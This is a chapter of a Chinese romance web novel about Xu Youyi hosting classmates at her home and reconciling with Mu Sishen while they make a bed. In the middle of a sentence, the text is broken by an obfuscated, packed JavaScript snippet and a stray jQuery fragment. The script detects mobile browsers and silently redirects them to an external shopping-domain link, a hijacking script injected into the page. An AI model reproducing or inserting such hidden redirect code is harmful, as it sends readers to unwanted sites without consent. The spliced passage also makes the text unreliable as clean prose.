许游意去办公室看望鲜于良的父母,被拖着说了好久的话。
因为外婆在医院的工作太忙碌,经常值夜班,少不了要鲜于家帮着照顾一下许游意;而外婆也曾经救过鲜于良奶奶的命,两家人的关系特别好。
看望完鲜于良的父母,许游意都有些口干舌燥。她看着穿戴整齐的鲜于良,嘴角轻哂:“你干嘛穿成这样?昨天来接我的时候不是一双夹板吗?竟然还换了辆新车,昨天来接我都是旧车。”
“你是老熟人,来接你还不是随便穿,有你朋友在的话我肯定要稍微打扮一下,开一辆新车,给你长长脸不能让你丢脸。”
许游意从小就觉得鲜于良有点臭屁,虽然比自己年长一岁,但有些行为比自己幼稚多了。
“你这些朋友都是你的同班同学?”
“嗯。哦,对了,等会你忙不忙,我朋友他们打算退房住到我家来,你要是有空的话帮着他们去酒店拿一下行李再送到我家?”
鲜于良点头说没问题,把她送到包厢门口,自己没进去。
许游意打开门进去,几个人的话题早就已经结束,聊起了别的。离吃晚饭的时间还早,大家都不饿,一直还没开始点菜,等许游意进来后才开始点。
夜色深了。夜里的海平面随着风浪卷起,扑向沙滩。
海边的晚上开着绵延的暖黄色灯光,有不少人在海边散步喝酒,还有人抱着吉他在唱歌。
鲜于良估摸着许游意他们吃完饭的时间,提前到三楼的走廊尽头处等待,这会儿正在手机里给苏远届回消息。
小届:【接到他们了吗?怎么样?一一有没有受伤?】
良子:【没问题,看起来她朋友们给她出面了。里面有个人的名字我觉得有点耳熟,以前好像听过。】
小届:【谁?】
良子:【慕思深,好耳熟。】
鲜于良发着消息,余光看到有个人走过来,这人走到一半就不动了,好像是在看着他。他抬起头望过去。
岑心见他看过来,确定了他的身份,抿唇笑着说:“良哥,你在等许游意吗?”
鲜于良没再靠墙,站直身体,“差不多吧,没事不用急,你们吃完再出来,我吹吹风。”
“噢噢,那我先进去了。”岑心指指包厢门进去了。
包厢里大家也吃到了尾声,到最后也没好意思问许游意她和鲜于良的关系,就只聊点别的好吃的好玩的。
一行人从饭店出来,街道上热闹非凡。许游意就不坐车去酒店了,这里离家里不远,走路回去也就十多分钟,她正好消消食,也想自己一个人随便逛逛。
鲜于良明白她,让她注意安全,他很快就能把人送到她家。
在门口道别,这一次岑心坐在副驾,三个男生坐在后面,许游意冲他们摇摇手,对上了慕思深的眼睛。
他坐在后排靠窗位置,一双眼睛直勾勾盯着她,眼尾都下垂,神色竟有些委屈。
还没来得及看清楚更多的,车子已经越过她开向前。
许游意不知道他是怎么了,她最近是越来越搞不懂慕思深了。而且不知道怎么回事,她的脾气一直都挺好的,可这段时间偶尔想到慕思深,她就有点生气。
车子消失在马路的尽头,许游意朝着他们相反的方向走去。
·
鲜于良把人都送到酒店,让他们上去收拾行李办理退房,他坐在大堂等着。
约摸过了十分钟左右,慕思深就拖着行李箱从电梯里出来。鲜于良正托着下巴看前方,心想这人真快。
他在前台办理了手续之后,竟然略过了大堂沙发上坐着的鲜于良直直往门口走去。
鲜于良马上站起来叫他名字,往前追了他几步:“嗨,我在这。”
慕思深脸色冷冷的,说道:“我知道,我看到你了。”
“一起走,先在这坐一会儿,他们还没下来。”
“不了,你继续等他们吧,我打车先过去。”
他态度硬邦邦,鲜于良也不勉强,觉得有点好笑,等看着他的身影上了车才怪道:“他知道许游意家的地址吗?”
他摇摇头,猜想可能许游意单独给了他地址。
二楼的客房里没什么人住,许游意拿着吸尘器上楼吸尘,拖地的活儿交给扫地机器人。之前鲜于良家在她回来之前帮着打扫了一下,屋里不怎么脏。客房里的床具之类的拆掉防尘布擦擦,再打开窗通风。
打扫完一间房,她已经浑身大汗,跑到空调前吹冷气。
家里的门铃早就坏了,没人住也就没修。敲门声响起时,许游意下意识拿起手机看了眼,没收到鲜于良发来的消息。她从猫眼往外看,看到门外站着慕思深。
他先到了?没看到其他人。
许游意把门打开,燥热潮湿的空气往屋内涌。
慕思深略显局促地指了指小院子的门:“我看门没关就直接进来了。”
没什么问题,许游意是特意给鲜于良留的门。
“他们呢?”
“还在收拾,我先过来帮你打扫卫生。”
“哦,快进来,有很多蚊子。”
许游意拉着他进屋,把门关上,从一边的超市塑料袋里拿出刚买的凉拖鞋。
“等一下,我去拿剪刀。”
她跑去茶几上拿到剪刀,剪开拖鞋上的商标绳,顺手把剪刀放在塑料袋里,然后站起来。她不得不仰起头看他,想到他这段时间怪异的行为,没好气地问:“外面热吗?要不要喝水?”
“谢谢。”慕思深弯下腰换鞋。
许游意从冰箱里拿出一瓶冰水递给他,也是刚刚买的,只是就她一个人,没办法买很多。等大家到齐了可以一起去超市大采购一次。她暂时还没有住校经验,想到可以和朋友一起出去购物感到一种隐隐的兴奋。
她回来后就忙着收拾屋子,还没来得及喝一口水,把水递给他后也去拿自己的水杯喝水。
“你先把行李箱放楼下吧,屋子还没收拾好。你……”
她准备上楼继续打扫,回头看他,他把箱子滞留在玄关处,正在仰头喝水,注意到她回头,他赶忙拧紧了瓶盖殷切地回望。
许游意这才发现自己是不是和他说了太多话了,但现在空间里只有他们两个人,她打扫卫生也需要帮手,和他说话实属无奈之举。
“你先在下面休息一下,休息好上来帮我。”
“哦,我现在就过来。”他放下水瓶先跟她上楼。
许游意家这栋楼完全是小洋楼的格局,之前许环生专程让人把这幢旧房子重新装修,室内的软装都很有质感。
抚着红橡木的楼梯扶手,慕思深看着前方扎起头发的许游意,棕黑的发尾扫着她白皙纤弱的后颈。
只有他们两个人。
时间仿佛都静止了。
“这里有一间刚打扫好的,还没来得及铺床。然后这边还有一间,一楼也有一间,一楼那一间已经打扫好了,楼上还有阁楼和别的房间,不过现在比较热,如果你想睡三楼也可以,我带你上去看看。”
她推开房门给他介绍。
这房子只有许游意和外婆两个人住,太空了。时间长了,许游意差点忘记这房子其实原先住着她们一大家子,但父母离婚后,许游意不想把外婆一个人留在这空荡的房间里所以才毅然决绝地留下来。
“你的房间是哪一间?”慕思深问道。
“当头那一间,有什么事可以随时来找我。”
“就这间吧。”慕思深选择了许游意刚打扫好的这间,“另外一间等会儿我帮你一起弄。”
那间房已经由许游意吸了一遍尘,等会儿只要拖一下地再擦一
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17939506|213851||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
擦就好,她先进去支开窗户,关好纱窗通风。
“那先给你铺床吧。”说着她回自己房间的衣橱里拿干净的床笠。
一抹淡蓝色细条纹的配套床笠被她揽在臂间带出来,许游意低头看了眼,又看了他一眼,本来想问他,用这个可不可以,但一想,分明是他借宿在自己家,她干嘛要问他的意见,有的睡就不错了。
慕思深没有丝毫怨言地跟在她身后,只要她说做什么,他就跟着做。
在许游意的认知里,他一直都是这样温和又礼貌的性格,这时候确实也不会说什么。
回到房间,她关上窗户,打开空调,把床单递给他。
他们一人捏着床单的两个角,许游意说要抖一抖,慕思深便听话地把床单抖开,一瞬间,床单膨胀起来,像海浪的波涛滚动在两人之间。海面迅疾勇猛的风吹起他们额前的发,条纹也滚动在瞳孔里,他们是海平面上对峙的两艘船。
想到前几天他莫名其妙的言语,又莫名其妙把自己扔在半路走掉,许游意第一次想要报复他。
也许是回到自己家了,她生出勇气来,忽然用比刚才更大的力道抖动床单,快速涌动中,床单膨胀得更高,像要把两个人都罩住。
她大概不知道,自己在生成坏点子的时候,会咬着一边的嘴角忍笑。慕思深第一次见她这样的表情,还在困惑中,床单越过两人的头顶,他一只手的床单一角从他手中飞出去,在空中飞划过海鸥的振翅。
乱飞的床单毫无章法地将两个人都罩住,许游意手中的两个角也在刚刚飞出去,失去了支撑的柔软布料急切找到落脚点。混乱之中,许游意撑起双手,想要掀开眼前的被遮挡的帘子,却看到慕思深的双脚一步一步向自己靠近。
完了,要被反杀。
慕思深准确找到她的位置,掀开她眼前的布帘,终于理解她嘴角忍笑的含义。
可当两个人在这床单的海底相遇,四目相对的那一刻,朦胧的柔光,近到只有彼此的空间里,他们嘴角的笑意都渐渐落下来。
慕思深撑着头顶的柔软床单缓慢向她靠近,弯下腰看着她白皙红润的脸庞。
“我好想你。”
她脱口而出:“我可一点都没有想你。”
慕思深眼神落寞,视线下移,露在她刚刚咬唇的齿印上。
“还在生我的气吗?我已经和你解释过。”他的声音像耳语,低哑缥缈。
那天晚上他就发消息解释过,许游意也看到了,但还是不可避免地对他感到恼火,所以一直没有回消息。而且,也没有规定他解释了她就一定得原谅他吧。
她不回消息也不接他电话,慕思深只好追到这里来当面说。但今天这一整天对他来说实在是致命摧残,先是看到有人对她口出恶言还要动手,接着又看到她的什么青梅竹马,慕思深感到自己的头被人反复按到水池里,缺氧获得稀薄氧气再被按进去。
怎么可以这样,他都已经被她亲了,怎么可以亲了他之后又当做无事发生。早知道,那天晚上在车里,他就应该彻底吻下去。可是,不行,那天他生病了,他害怕传染给她,该死的感冒病毒。
越来越狭小的空间里,许游意不得不一直注视着他。床单早已停止飞行,下坠到两人的头顶和肩膀,描绘出两人的身形。
慕思深牵起她的手,弯下腰亲吻在她手背,他诚恳地说:“对不起。”
到这个程度,许游意已经看到他眼眶里闪烁的泪光,这已经有些脱离自己的想法。她没想惩罚他,什么也没想,她只是有点生气,想要不理他来宣泄自己的情绪。可他如果因为这个哭了,那并非她本意。
她迅速翻转他的手背,快速在他手背上着陆下零点一秒的唇,“别哭,我原谅你了。”
慕思深看清她的动作,手背感到越发滚烫起来,浑身都僵硬了。